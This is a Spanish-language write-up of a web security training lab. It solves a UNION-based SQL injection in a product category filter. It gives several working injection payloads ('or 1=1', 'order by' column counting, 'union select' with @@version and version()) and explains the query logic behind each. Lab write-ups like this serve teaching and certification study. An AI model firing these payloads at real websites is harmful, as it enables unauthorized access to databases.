Entrada

SQLI Lab 4

SQLI Lab 4

Skills

  • SQL injection attack, querying the database type and version on MySQL and Microsoft

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Hay que utilizar un ataque UNION para recuperar los resultados de la consulta, para resolver el laboratorio debemos mostrar la versión de la base de datos


Resolución

Al acceder a la web nos sale esto

Pinchamos en alguna de las categorías, capturamos la petición con Burpsuite y le añadimos una ' a category

Si enviamos la petición nos dará un Internal Server Error debido a que hemos logrado interferir con la consulta SQL que se está haciendo

Si usamos este payload, ya habremos solucionado el error que se estaba produciendo en la consulta SQL y se mostrará lo siguiente

1
/filter?category=Gifts'+or+1=1+--+-+

Esto se debe a que la consulta SQL que se debe estar haciendo debe ser esta

1
SELECT * FROM products WHERE category = 'Gifts'

Lo que hacemos cuando inyectamos ' or 1=1-- - es cerrar la ' del campo category y usar or 1=1 para que siempre sea verdad y por lo tanto exista, posteriormente con -- - lo que hacemos es ignorar el resto de la query

1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- - '

Usando order by podemos identificar cuantas columnas tiene la tabla, si ponemos un número de columnas que existe no obtendremos ningún error

1
/filter?category=Gifts'order+by+2--+-+

Sin embargo. si ponemos un número de columnas que no existe, obtendremos un error, esto es debido a que estamos ante una SQLI Error Based

1
/filter?category=Gifts'order+by+3--+-+

A continuación usamos union select para señalar ambos campos, debido a que la query no ha dado ningún error, podemos descartar que el tipo de base de datos sea Oracle. Si fuera Oracle daría un error debido a que hay que añadir from dual al union select

1
/filter?category=Gifts'+union+select+null,null--+-+

Con @@version podemos enumerar la versión de las bases de datos de Microsoft y las MySQL

1
/filter?category=Gifts'+union+select+null,@@version--+-+

También es posible enumerar las bases de datos MySQL usando version() en ciertos casos

1
/filter?category=Gifts'+union+select+null,version()--+-+

Esta entrada está licenciada bajo CC BY 4.0 por el autor.